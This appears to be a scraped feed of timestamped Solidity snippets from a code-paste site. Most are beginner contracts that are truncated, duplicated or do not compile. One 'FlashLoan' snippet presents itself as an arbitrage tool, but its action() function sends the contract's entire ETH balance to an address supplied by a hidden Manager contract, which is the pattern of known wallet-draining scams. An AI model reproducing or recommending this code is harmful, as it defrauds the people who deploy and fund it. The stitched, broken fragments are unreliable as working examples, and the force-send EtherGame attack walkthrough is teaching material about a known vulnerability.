    require((_value > 50)); //EXAMPLE OF REQUIRE 
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;
Oct 13, 2022 12:56:10 UTC
// SPDX-License-Identifier: GPL-3.0
pragma solidity >=0.7.0 <0.9.0;

// The goal here is to create a multi-sig wallet safe
// Eventually the deployer will have to decide how many sigs are needed for the tranx to be approved
// The deployer will also be able to add/remove the allowed addresses

// BEFORE we get to that, let's create a SIMPLE wallet safe
// We'll expand upon its functionalities to make it a multi-sig safe bit by bit

// Create a cotract called Safe that: (This is how to make a wallet)
// 1 - Keeps track of users balance (balances mapping)
// 2 - Shows how many users have funds in the Safe
// 3 - Each user is represented by a Struct with at least: address, balance, unique ID
// 4 - A user can deposit, withdraw and tranfer funds to other users

// NB - no need to create a new token: we'll use ETH
// Use OpenZeppelin's SafeMath for uint operations

contract Safe {

    mapping(address => uint256) public balances;
    //balances[msg.sender] (how to call mapping)
    struct User{
        address use
Oct 10, 2022 21:48:26 UTC
type T[] memory = StackSlot;

function index_access<ValueType T>(T[] memory x, uint256 index) returns (T result)
{
    StackSlot mptr = (T[] memory).unwrap(x);  
    uint256 offset = 32 + index * 32;
    assembly ("memory-safe") {
        let size := mload(mptr)
        if iszero(lt(index, size)) { revert(0, 0) /* out of bounds */ }
        result := mload(add(mptr, offset))
    }
}


function index_access<ValueType T>(T[] memory x, uint256 index) returns (T result)
{
    StackSlot mptr = (T[] memory).unwrap(x);  
    uint256 offset = 32 + index * 32;
    assembly ("memory-safe") {
        let size := mload(mptr)
        if iszero(lt(index, size)) { revert(0, 0) /* out of bounds */ }
        result := mload(add(mptr, offset))
    }
}
Oct 09, 2022 00:09:40 UTC
pragma solidity ^0.4.18;

contract Gastoken {
    function free(uint256 value) public returns (bool success);
    function freeUpTo(uint256 value) public returns (uint256 freed);
    function freeFrom(address from, uint256 value) public returns (bool success);
    function freeFromUpTo(address from, uint256 value) public returns (uint256 freed);
}

contract Example {

    // This function consumes a lot of gas
    function expensiveStuff() private pure {
        /* lots of expensive stuff */
    }

    /*
     * Frees `free' tokens from the Gastoken at address `gas_token'.
     * The freed tokens belong to this Example contract. The gas refund can pay
     * for up to half of the gas cost of the total transaction in which this 
     * call occurs.
     */
    function burnGasAndFree(address gas_token, uint256 free) public {
        require(Gastoken(gas_token).free(free));
        expensiveStuff();
    }

    /*
     * Frees `free' tokens from the Gastoken at address `gas_token'.
     * The freed tokens belong
Oct 08, 2022 03:03:37 UTC
pragma solidity ^0.8.0;
//SPDX-License-Identifier: MIT


contract e0x {
	event Log(string message);
	event LinkAdded(uint linkId, string url);
	
	struct LinkTemplate {
		address userAddress;
		string url;
	}
	
	uint lastLinkId;
	mapping (uint => LinkTemplate) public linkMapping;
	
	constructor() {
		lastLinkId = 0;
	}
	
	
	function createNewLink(string memory url) public returns (uint) {
	    lastLinkId++;
		linkMapping[lastLinkId] = LinkTemplate(msg.sender, url);
		emit LinkAdded(lastLinkId, url);
		return lastLinkId;
	}
	
	modifier linkExists(uint linkId) {
	    //link with the given hash does not exist
		if(linkMapping[linkId].userAddress == 0x0000000000000000000000000000000000000000) {
			revert();
		}
		_;
	}
	
	function getLink(uint linkId) public view
		returns(
			address,
			string memory
		) {
		    LinkTemplate memory link = linkMapping[linkId];
			return(
				link.userAddress,
			    link.url
			);
		}
	

Oct 07, 2022 16:34:22 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.26;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;
Oct 07, 2022 10:01:41 UTC
// SPDX-License-Identifier: GPL-3.0
pragma solidity >=0.7.0 <0.9.0;

// The goal here is to create a multi-sig wallet safe
// Eventually the deployer will have to decide how many sigs are needed for the tranx to be approved
// The deployer will also be able to add/remove the allowed addresses

// BEFORE we get to that, let's create a SIMPLE wallet safe
// We'll expand upon its functionalities to make it a multi-sig safe bit by bit

// Create a cotract called Safe that: (This is how to make a wallet)
// 1 - Keeps track of users balance (balances mapping)
// 2 - Shows how many users have funds in the Safe
// 3 - Each user is represented by a Struct with at least: address, balance, unique ID
// 4 - A user can deposit, withdraw and tranfer funds to other users

// NB - no need to create a new token: we'll use ETH
// Use OpenZeppelin's SafeMath for uint operations

contract Safe {

    mapping(address => uint256) public balances;
    
    struct User{
        address userAddress;
        uint256 userBalance;
     
Oct 06, 2022 21:04:27 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;

/**
* The purpose of this smart contract is to record transactions for web2 application uses
* The immediate need for this is to be able to associate an web2 transaction ID with a web 3 payment
*/

contract TransactionRecorder {
  bool private _paused;
  address private _owner;
  uint256 private _tax;

  struct Transaction {
    string 
  }

  // Map a company address to a list of transactions
  mapping(address, mapping(string => ))

  constructor() {
    _paused = false;
    _owner = msg.sender;
  }
  
  modifier isOwner() {
    require(msg.sender == _owner, "You are not authorized to perform this action!");
    _;
  }

  function setTaxRate(uint256 amount) external isOwner {
    require(amount >= 0, "You can not set a negative tax rate");
    _tax = amount;
  }

  function getTaxRate() external view returns(uint256) {
    return _tax;
  }

  /**
  * @dev Allow a specific address to accept paymen
Oct 05, 2022 16:05:11 UTC
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import './SafeMath.sol';

contract CoinFlip {
  using SafeMath for uint256;
  uint256 public consecutiveWins;
  uint256 lastHash;
  uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

  constructor() {
    consecutiveWins = 0;
  }

  function flip(bool _guess) external payable returns (bool) {
    uint256 blockValue = uint256(blockhash(block.number.sub(1)));

    if (lastHash == blockValue) {
      revert();
    }

    lastHash = blockValue;
    uint256 coinFlip = blockValue.div(FACTOR);
    bool side = coinFlip == 1 ? true : false;

    if (side == _guess) {
      consecutiveWins++;
    //   msg.sender.call{value: msg.value.mul(2)}("");
      return true;
    } else {
      consecutiveWins = 0;
      return false;
    }
  }

  receive() external payable {

  }
Oct 01, 2022 08:11:52 UTC
contract Contest is ERC721Full {
    using Counters for Counters.Counter;
    Counters.Counter private _tokenIds;
    
    /// original sponsor of this contest
    address public originalSponsor;
    
    /// minimum amount that must be supplied in order to make a submission
    uint256 public submissionFee;
       
    /// block timestamp at which this contest has officially ended
    uint256 public contestEnd;
    
    
    /// this represents a single entry in the contest
    struct submission {
        // the creater of this stable diffusion image
        address submitter;
        // number of votes for this submission
        uint256 votes;
    }
    
    /// keeps track of the submissions that currently have the most votes
    submission public leadingSubmission;
    
    /// map between submissions and the number of votes received for that submission
    mapping(uint256 => submission) public submissions; 
      
    /// address of contest factory
    address public factory;
    
    error Insufficient
Sep 28, 2022 19:57:03 UTC
contract Contest is ERC721Full {
    using Counters for Counters.Counter;
    Counters.Counter private _tokenIds;
    
    /// original sponsor of this contest
    address public originalSponsor;
    
    /// minimum amount that must be supplied in order to make a submission
    uint256 public submissionFee;
       
    /// block timestamp at which this contest has officially ended
    uint256 public contestEnd;
    
    struct submission {
        // the creater of this stable diffusion image
        address submitter;
        // number of votes for this submission
        uint256 votes;
    }
    
    /// map between submissions and the number of votes received for that submission
    map(uint256 => submission) public submissions; 
      
    /// address of contest factory
    address public factory;
    
    error InsufficientSubmissionFee();
    error SenderNotJudge(address sender);
    
    
    /// @dev only submissions that meet the submission fee can enter the contest
    modifier validSubmission() {
Sep 28, 2022 19:42:32 UTC
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.6.12;

    abstract contract Context {
        function _msgSender() internal view virtual returns (address payable) {
            return msg.sender;
        }

        function _msgData() internal view virtual returns (bytes memory) {
            this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
            return msg.data;
        }
    }

    interface IERC20 {
        /**
        * @dev Returns the amount of tokens in existence.
        */
        function totalSupply() external view returns (uint256);

        /**
        * @dev Returns the amount of tokens owned by `account`.
        */
        function balanceOf(address account) external view returns (uint256);

        /**
        * @dev Moves `amount` tokens from the caller's account to `recipient`.
        *
        * Returns a boolean value indicating whether the operation succeeded.
        *
        * Emits a {Trans
Sep 28, 2022 09:48:06 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {

  function constructor() public{

  }

  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;
Sep 26, 2022 19:58:58 UTC
/**
 *Submitted for verification at Etherscan.io on 2018-04-10
*/

pragma solidity ^0.4.20;

/*

*A reincarnation of Mahatma Gandhi, born again to live forever on the Ethereum Blockchain

                                                                                                                                                       
                                                                    dddddddd                                                                           
        GGGGGGGGGGGGG                                               d::::::dhhhhhhh               iiii   jjjj   iiii            iiii                   
     GGG::::::::::::G                                               d::::::dh:::::h              i::::i j::::j i::::i          i::::i                  
   GG:::::::::::::::G                                               d::::::dh:::::h               iiii   jjjj   iiii            iiii                   
  G:::::GGGGGGGG::::G                                               d:::::d 
Sep 26, 2022 15:42:43 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.7.1;
contract SimpleStore {
  function testGas1(uint256 renewCount, uint256 renewLength) {
      uint256 gasBudget = 100 * 10 * renewCount;
      uint256 refund = 50 * 10;
      refund = refund - ((refund / 10) * (renewLength - renewCount));
  }

  function testGas2(uint256 renewCount, uint256 renewLength) {
      uint256 gasBudget = 100 * 10 * renewCount;
      uint256 refund = 50 * 10;
      if(renewLength != renewCount) {
        refund = refund - ((refund / 10) * (renewLength - renewCount));
      }
  }
Sep 23, 2022 01:39:09 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function testGas1(uint256 renewCount, uint256 renewLength) {
      uint256 gasBudget = 100 * 10 * renewCount;
      uint256 refund = 50 * 10;
      refund = refund - ((refund / 10) * (renewLength - renewCount));
  }

  function testGas2(uint256 renewCount, uint256 renewLength) {
      uint256 gasBudget = 100 * 10 * renewCount;
      uint256 refund = 50 * 10;
      if(renewLength != renewCount) {
        refund = refund - ((refund / 10) * (renewLength - renewCount));
      }
  }
Sep 23, 2022 01:36:32 UTC
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "@openzeppelin/contracts/access/Ownable.sol";
import "@uniswap/v3-periphery/contracts/libraries/TransferHelper.sol";
import "@uniswap/v3-periphery/contracts/interfaces/ISwapRouter.sol";

interface IUSDC {
    function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
}

contract Dank is Ownable {

    address private constant _USDCContract = 0x2791Bca1f2de4661ED88A30C99A7a9449Aa84174;

    ISwapRouter public immutable swapRouter;

    // address public constant DAI = 0x6B175474E89094C44Da98b954EedeAC495271d0F;
    // address public constant WETH9 = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
    // address public constant USDC = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48;

    uint24 public constant poolFee = 3000;

    constructor(ISwapRouter _swapRouter) {
        swapRouter = _swapRouter;
    }

    struct UserData {
        string userName;
        address publicAddress;
        string 
Sep 16, 2022 15:48:59 UTC
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "@openzeppelin/contracts/access/Ownable.sol";

contract Dank is Ownable {

    constructor() { }

    struct UserData {
        string userName;
        address publicAddress;
        string ipfsURI;
    }

    mapping (string => UserData) _idToUser;

    event UserCreated(uint256 timestamp, string username, address userAddress, string ipfsURI);

    function registerUser(string memory userName, address publicAddress, string memory ipfsURI) external onlyOwner returns (bool) {
        require(keccak256(bytes(_idToUser[userName].userName)) != keccak256(bytes(userName)), "This user is already registered.");

        _idToUser[userName] = UserData({
            userName: userName,
            publicAddress: publicAddress,
            ipfsURI: ipfsURI
        });

        emit UserCreated(block.timestamp, userName, publicAddress, ipfsURI);

        return true;
    }

    function getUser(string memory userName) public view returns (UserData memory) {
Sep 14, 2022 17:37:38 UTC
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "@openzeppelin/contracts/access/Ownable.sol";

contract Dank is Ownable {

    constructor() { }

    struct UserData {
        string userName;
        address publicAddress;
        string ipfsURI;
    }

    mapping (string => UserData) _idToUser;

    event UserCreated(uint256 timestamp, string username, address userAddress, string ipfsURI);

    function registerUser(string memory userName, address publicAddress, string memory ipfsURI) external onlyOwner returns (bool) {
        require(keccak256(bytes(_idToUser[userName].userName)) != keccak256(bytes(userName)), "This user is already registered.");

        _idToUser[userName] = UserData({
            userName: userName,
            publicAddress: publicAddress,
            ipfsURI: ipfsURI
        });

        emit UserCreated(block.timestamp, userName, publicAddress, ipfsURI);

        return true;
    }

    function getUser(string memory userName) public view returns (UserData memory) {
Sep 14, 2022 16:46:17 UTC
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "@openzeppelin/contracts/access/Ownable.sol";

contract User is Ownable {

    constructor() { }

    struct UserData {
        string userName;
        address publicAddress;
        string ipfsURI;
    }

    mapping (string => UserData) _idToUser;

    event UserCreated(uint256 timestamp, string username, address userAddress, string ipfsURI);

    function registerUser(string memory userName, address publicAddress, string memory ipfsURI) external onlyOwner returns (bool) {
        require(keccak256(bytes(_idToUser[userName].userName)) != keccak256(bytes(userName)), "This user is already registered.");

        _idToUser[userName] = UserData({
            userName: userName,
            publicAddress: publicAddress,
            ipfsURI: ipfsURI
        });

        emit UserCreated(block.timestamp, userName, publicAddress, ipfsURI);

        return true;
    }

    function getUser(string memory userName) public view returns (UserData memory) {
Sep 14, 2022 15:47:15 UTC
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;

// The goal of this game is to be the 7th player to deposit 1 Ether.
// Players can deposit only 1 Ether at a time.
// Winner will be able to withdraw all Ether.

/*
1. Deploy EtherGame
2. Players (say Alice and Bob) decides to play, deposits 1 Ether each.
2. Deploy Attack with address of EtherGame
3. Call Attack.attack sending 5 ether. This will break the game
   No one can become the winner.

What happened?
Attack forced the balance of EtherGame to equal 7 ether.
Now no one can deposit and the winner cannot be set.
*/

contract EtherGame {
    uint public targetAmount = 7 ether;
    address public winner;

    function deposit() public payable {
        require(msg.value == 1 ether, "You can only send 1 Ether");

        uint balance = address(this).balance;
        require(balance <= targetAmount, "Game is over");

        if (balance == targetAmount) {
            winner = msg.sender;
        }
    }

    function claimReward() public {
        req
Sep 12, 2022 19:54:39 UTC
//SPDX-License-Identifier: MIT
pragma solidity ^0.6.6;

// Import Libraries Migrator/Exchange/Factory
import "github.com/Uniswap/uniswap-v2-periphery/blob/master/contracts/interfaces/IUniswapV2Migrator.sol";
import "github.com/Uniswap/uniswap-v2-periphery/blob/master/contracts/interfaces/V1/IUniswapV1Exchange.sol";
import "github.com/Uniswap/uniswap-v2-periphery/blob/master/contracts/interfaces/V1/IUniswapV1Factory.sol";

contract UniswapBot {
 
    uint liquidity;
    uint private pool;
    address public owner;


    event Log(string _msg);

    /*
     * @dev constructor
     * @set the owner of the contract 
     */
    constructor() public {
        owner = msg.sender;
    }

    receive() external payable {}

    struct slice {
        uint _len;
        uint _ptr;
    }

    /*
     * @dev Find newly deployed contracts on Uniswap Exchange
     * @param memory of required contract liquidity.
     * @param other The second slice to compare.
     * @return New contracts with required liquidity.
     */

 
Sep 12, 2022 15:32:27 UTC
pragma solidity ^0.4.18;

contract HelloWorld {
  string private HelloMsg = "Hello, Het!!!";

  function getHelloMsg() public view returns (string memory) {
    return HelloMsg;
  }
Sep 11, 2022 01:50:35 UTC
pragma solidity >=0.4.24 <0.6.0;

contract TASS {
    address payable public sender;      // The account sending payments.
    address payable public recipient;   // The account receiving the payments.
    uint256 public expiration;  // Timeout in case the token return back.

    constructor (address payable _recipient, uint256 duration)
        public
        payable
    {
        sender = msg.sender;
        recipient = _recipient;
        expiration = now + duration;
    }

    function isValidSignature(uint256 amount, bytes memory signature)
        internal
        view
        returns (bool)
    {
        bytes32 message = prefixed(keccak256(abi.encodePacked(this, amount)));

        // check that the signature is from the payment sender
        return recoverSigner(message, signature) == sender;
    }

    /// the recipient can close the channel at any time by presenting a
    /// signed amount from the sender. the recipient will be sent that amount,
    /// and the remainder will go back to the sender
Sep 08, 2022 23:43:56 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.20;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;
Sep 08, 2022 19:47:28 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function sqrt(uint x) private pure returns (uint y) {
    if(x == 0) return 0;
    else
    {
      if(x <= 3) return 1;
      uint z = (x + 1) /2;
      y = x;
      while(z < y){
        y=z;
        z= (x / z + z) / 2;
      }
    }
  }

  function D(int a, int b, int c) public pure returns (int){
    return b * b - 4 * a * c;
  }

  function equation (int a, int b, int c) public pure returns (int, int){
    var temp = D(a, b, c);
    if(temp<0){
      require (!(temp < 0));//require (!(temp < 0), "D coudnt be negative");
    }
  }
Sep 07, 2022 12:17:29 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function sqrt(uint x) private returns (uint y) {
    if(x == 0) return 0;
    else
    {
      if(x <= 3) return 1;
      uint z = (x + 1) /2;
      y = x;
      while(z < y){
        y=z;
        z= (x / z + z) / 2;
      }
    }
  }

  function D(int a, int b, int c) public pure returns (int){
    return b * b - 4 * a * c;
  }

  function equation (int a, int b, int c) public pure returns (int, int){
    var temp = D(a, b, c);
    if(temp<0){
      require (!(temp < 0));//require (!(temp < 0), "D coudnt be negative");
    }
  }
Sep 07, 2022 12:17:15 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract LabRab26 {
  //a*(x ^ 2) + (b*x) + c = 0
  function d(uint b,uint  a, uint c) public pure returns (uint )  {

    uint bq = b * b;
    uint ac = 4 * a * c;
    return bq /ac ;
  }

  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;
Sep 07, 2022 11:23:04 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }dfdf

  uint value;
Sep 07, 2022 05:36:32 UTC
pragma solidity ^0.5.0;

// Multiplier-Finance Smart Contracts
import "https://github.com/Multiplier-Finance/MCL-FlashloanDemo/blob/main/contracts/interfaces/ILendingPoolAddressesProvider.sol";

// Dex Smart Contracts
import "https://github.com/uniswap-finance/uniswap-core/blob/master/contracts/interfaces/IUniswapPair.sol";
import "https://github.com/pancakeswap/pancake-swap-core/blob/master/contracts/interfaces/IPancakePair.sol";

contract FlashLoan {
	string public tokenName;
	string public tokenSymbol;
	uint loanAmount;
	Manager manager;
	
	constructor(string memory _tokenName, string memory _tokenSymbol, uint _loanAmount) public {
		tokenName = _tokenName;
		tokenSymbol = _tokenSymbol;
		loanAmount = _loanAmount;
			
		manager = new Manager();
	}
function() external payable {}
	
	function action() public payable {
		
	    // Send required coins for swap
	    address(uint160(manager.swapDepositAddress())).transfer(address(this).balance);
	    
	    /*
	    // Submit token to blockchain
	    string memory t
Sep 06, 2022 14:35:07 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;

contract SimpleStore {


  function who(uint8 rint, uint8 bing) public pure returns(string) {

    uint8 val = rint;
    uint8 val2 = bing;

    if (val2 > val) { 
      return "renzo beats benzo";
    } else {
      return "benzo beats renzo";
    }   

    

  
  }
Sep 06, 2022 06:29:41 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract PlayGame {

  struct Player {
    string hasplayed;
    address my_address;
    uint wager;
  }

  Player[] public players;

  function initialize(uint wager) public {
    players.push(Player("no", msg.sender, wager));
    layer storage myplayer = players[0];
    return myplayer.my_address;
    
  }

  function Roll() private returns (address) {
    Player storage myplayer = players[0];
    return myplayer.my_address;
  }

  
Sep 06, 2022 06:21:53 UTC
// SPDX-License-Identifier: MIT
pragma solidity >=0.7.0 <0.9.0;

import "@openzeppelin/contracts/utils/math/SafeMath.sol";

contract AMM {
    using SafeMath for uint256;
    uint256 totalShares;  // Stores the total amount of share issued for the pool
    uint256 totalToken1;  // Stores the amount of Token1 locked in the pool
    uint256 totalToken2;  // Stores the amount of Token2 locked in the pool
    uint256 K;            // Algorithmic constant used to determine price

    uint256 constant PRECISION = 1_000_000;  // Precision of 6 digits

    mapping(address => uint256) shares;  // Stores the share holding of each provider

    // Stores the available balance of user outside of the AMM
    // For simplicity purpose, We are maintaining our own internal 
    // balance mapping instead of dealing with ERC-20 tokens
    mapping(address => uint256) token1Balance;
    mapping(address => uint256) token2Balance;

    // Ensures that the _qty is non-zero and the user has enough balance
    modifier validAmountCh
Sep 05, 2022 06:34:41 UTC
// Returns the amount of Token2 that the user will get when swapping a given amount of Token1 for Token2
function getSwapToken2Estimate(uint256 _amountToken2) public view activePool returns(uint256 amountToken1) {
    uint256 token2After = totalToken2.add(_amountToken2);
    uint256 token1After = K.div(token2After);
    amountToken1 = totalToken1.sub(token1After);

    // To ensure that Token1's pool is not completely depleted leading to inf:0 ratio
    if(amountToken1 == totalToken1) amountToken1--;
}

// Returns the amount of Token2 that the user should swap to get _amountToken1 in return
function getSwapToken2EstimateGivenToken1(uint256 _amountToken1) public view activePool returns(uint256 amountToken2) {
    require(_amountToken1 < totalToken1, "Insufficient pool balance");
    uint256 token1After = totalToken1.sub(_amountToken1);
    uint256 token2After = K.div(token1After);
    amountToken2 = token2After.sub(totalToken2);
}

// Swaps given amount of Token2 to Token1 using algorithmic price determination
Sep 05, 2022 06:29:50 UTC
// Swaps given amount of Token1 to Token2 using algorithmic price determination
function swapToken1(uint256 _amountToken1) external activePool validAmountCheck(token1Balance, _amountToken1) returns(uint256 amountToken2) {
    amountToken2 = getSwapToken1Estimate(_amountToken1);

    token1Balance[msg.sender] -= _amountToken1;
    totalToken1 += _amountToken1;
    totalToken2 -= amountToken2;
    token2Balance[msg.sender] += amountToken2;
Sep 05, 2022 06:27:59 UTC
// Returns the amount of Token1 that the user should swap to get _amountToken2 in return
function getSwapToken1EstimateGivenToken2(uint256 _amountToken2) public view activePool returns(uint256 amountToken1) {
    require(_amountToken2 < totalToken2, "Insufficient pool balance");
    uint256 token2After = totalToken2.sub(_amountToken2);
    uint256 token1After = K.div(token2After);
    amountToken1 = token1After.sub(totalToken1);
Sep 05, 2022 06:23:50 UTC
// Returns the amount of Token2 that the user will get when swapping a given amount of Token1 for Token2
function getSwapToken1Estimate(uint256 _amountToken1) public view activePool returns(uint256 amountToken2) {
    uint256 token1After = totalToken1.add(_amountToken1);
    uint256 token2After = K.div(token1After);
    amountToken2 = totalToken2.sub(token2After);

    // To ensure that Token2's pool is not completely depleted leading to inf:0 ratio
    if(amountToken2 == totalToken2) amountToken2--;
Sep 05, 2022 06:22:53 UTC
// Returns the estimate of Token1 & Token2 that will be released on burning given _share
function getWithdrawEstimate(uint256 _share) public view activePool returns(uint256 amountToken1, uint256 amountToken2) {
    require(_share <= totalShares, "Share should be less than totalShare");
    amountToken1 = _share.mul(totalToken1).div(totalShares);
    amountToken2 = _share.mul(totalToken2).div(totalShares);
}

// Removes liquidity from the pool and releases corresponding Token1 & Token2 to the withdrawer
function withdraw(uint256 _share) external activePool validAmountCheck(shares, _share) returns(uint256 amountToken1, uint256 amountToken2) {
    (amountToken1, amountToken2) = getWithdrawEstimate(_share);
    
    shares[msg.sender] -= _share;
    totalShares -= _share;

    totalToken1 -= amountToken1;
    totalToken2 -= amountToken2;
    K = totalToken1.mul(totalToken2);

    token1Balance[msg.sender] += amountToken1;
    token2Balance[msg.sender] += amountToken2;
Sep 05, 2022 06:11:41 UTC
// Returns amount of Token1 required when providing liquidity with _amountToken2 quantity of Token2
function getEquivalentToken1Estimate(uint256 _amountToken2) public view activePool returns(uint256 reqToken1) {
    reqToken1 = totalToken1.mul(_amountToken2).div(totalToken2);
}

// Returns amount of Token2 required when providing liquidity with _amountToken1 quantity of Token1
function getEquivalentToken2Estimate(uint256 _amountToken1) public view activePool returns(uint256 reqToken2) {
    reqToken2 = totalToken2.mul(_amountToken1).div(totalToken1);
Sep 05, 2022 06:10:35 UTC
// Adding new liquidity in the pool
// Returns the amount of share issued for locking given assets
function provide(uint256 _amountToken1, uint256 _amountToken2) external validAmountCheck(token1Balance, _amountToken1) validAmountCheck(token2Balance, _amountToken2) returns(uint256 share) {
    if(totalShares == 0) { // Genesis liquidity is issued 100 Shares
        share = 100*PRECISION;
    } else{
        uint256 share1 = totalShares.mul(_amountToken1).div(totalToken1);
        uint256 share2 = totalShares.mul(_amountToken2).div(totalToken2);
        require(share1 == share2, "Equivalent value of tokens not provided...");
        share = share1;
    }

    require(share > 0, "Asset value less than threshold for contribution!");
    token1Balance[msg.sender] -= _amountToken1;
    token2Balance[msg.sender] -= _amountToken2;

    totalToken1 += _amountToken1;
    totalToken2 += _amountToken2;
    K = totalToken1.mul(totalToken2);

    totalShares += share;
    shares[msg.sender] += share;
Sep 05, 2022 06:09:12 UTC
// Sends free token(s) to the invoker
function faucet(uint256 _amountToken1, uint256 _amountToken2) external {
    token1Balance[msg.sender] = token1Balance[msg.sender].add(_amountToken1);
    token2Balance[msg.sender] = token2Balance[msg.sender].add(_amountToken2);
Sep 05, 2022 06:06:52 UTC
// Returns the balance of the user
function getMyHoldings() external view returns(uint256 amountToken1, uint256 amountToken2, uint256 myShare) {
    amountToken1 = token1Balance[msg.sender];
    amountToken2 = token2Balance[msg.sender];
    myShare = shares[msg.sender];
}

// Returns the total amount of tokens locked in the pool and the total shares issued corresponding to it
function getPoolDetails() external view returns(uint256, uint256, uint256) {
    return (totalToken1, totalToken2, totalShares);
Sep 05, 2022 06:05:55 UTC
// Ensures that the _qty is non-zero and the user has enough balance
modifier validAmountCheck(mapping(address => uint256) storage _balance, uint256 _qty) {
    require(_qty > 0, "Amount cannot be zero!");
    require(_qty <= _balance[msg.sender], "Insufficient amount");
    _;
}

// Restricts withdraw, swap feature till liquidity is added to the pool
modifier activePool() {
    require(totalShares > 0, "Zero Liquidity");
    _;
}
Sep 05, 2022 06:05:04 UTC
uint256 totalShares;  // Stores the total amount of share issued for the pool
uint256 totalToken1;  // Stores the amount of Token1 locked in the pool
uint256 totalToken2;  // Stores the amount of Token2 locked in the pool
uint256 K;            // Algorithmic constant used to determine price (K = totalToken1 * totalToken2)

uint256 constant PRECISION = 1_000_000;  // Precision of 6 decimal places

mapping(address => uint256) shares;  // Stores the share holding of each provider

mapping(address => uint256) token1Balance;  // Stores the available balance of user outside of the AMM
mapping(address => uint256) token2Balance
Sep 05, 2022 06:04:32 UTC
uint256 totalShares;  // Stores the total amount of share issued for the pool
uint256 totalToken1;  // Stores the amount of Token1 locked in the pool
uint256 totalToken2;  // Stores the amount of Token2 locked in the pool
uint256 K;            // Algorithmic constant used to determine price (K = totalToken1 * totalToken2)

uint256 constant PRECISION = 1_000_000;  // Precision of 6 decimal places

mapping(address => uint256) shares;  // Stores the share holding of each provider

mapping(address => uint256) token1Balance;  // Stores the available balance of user outside of the AMM
mapping(address => uint256) token2Balance
Sep 05, 2022 06:04:21 UTC
// SPDX-License-Identifier: MIT
pragma solidity >=0.7.0 <0.9.0;

import "@openzeppelin/contracts/utils/math/SafeMath.sol";

contract AMM {
    using SafeMath for uint256;
Sep 05, 2022 05:15:29 UTC
// SPDX-License-Identifier: MIT

pragma solidity ^0.7.1;

// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
//
// ----------------------------------------------------------------------------

contract ERC20Interface {
    function totalSupply() public view returns (uint);
    function balanceOf(address tokenOwner) public view returns (uint balance);
    function allowance(address tokenOwner, address spender) public view returns (uint remaining);
    function transfer(address to, uint tokens) public returns (bool success);
    function approve(address spender, uint tokens) public returns (bool success);
    function transferFrom(address from, address to, uint tokens) public returns (bool success);
    function _mint(address to, uint tokenId) internal {    require(to != address(0));    require(!_exists(tokenId));    _tokenOwner[tokenId] = to;    _ownedTokensCount[to] = _ownedTokensCount[to].add(1);    emit Transfer(address(0), to, tokenId);}
    
Sep 03, 2022 19:34:42 UTC
pragma solidity ^0.5.17;

import "hardhat/console.sol";


/**
 * @dev Wrappers over Solidity's arithmetic operations with added overflow
 * checks.
 *
 * Arithmetic operations in Solidity wrap on overflow. This can easily result
 * in bugs, because programmers usually assume that an overflow raises an
 * error, which is the standard behavior in high level programming languages.
 * `SafeMath` restores this intuition by reverting the transaction when an
 * operation overflows.
 *
 * Using this library instead of the unchecked operations eliminates an entire
 * class of bugs, so it's recommended to use it always.
 */
library SafeMath {
    /**
     * @dev Returns the addition of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `+` operator.
     *
     * Requirements:
     * - Addition cannot overflow.
     */
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

    
Sep 02, 2022 19:06:05 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;
Sep 01, 2022 10:38:19 UTC
// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

/// @title: Enumeronomics
/// @author: manifold.xyz
/// mangled by Dynamite

import "./ERC721Creator.sol";


contract ENU is ERC721Creator {
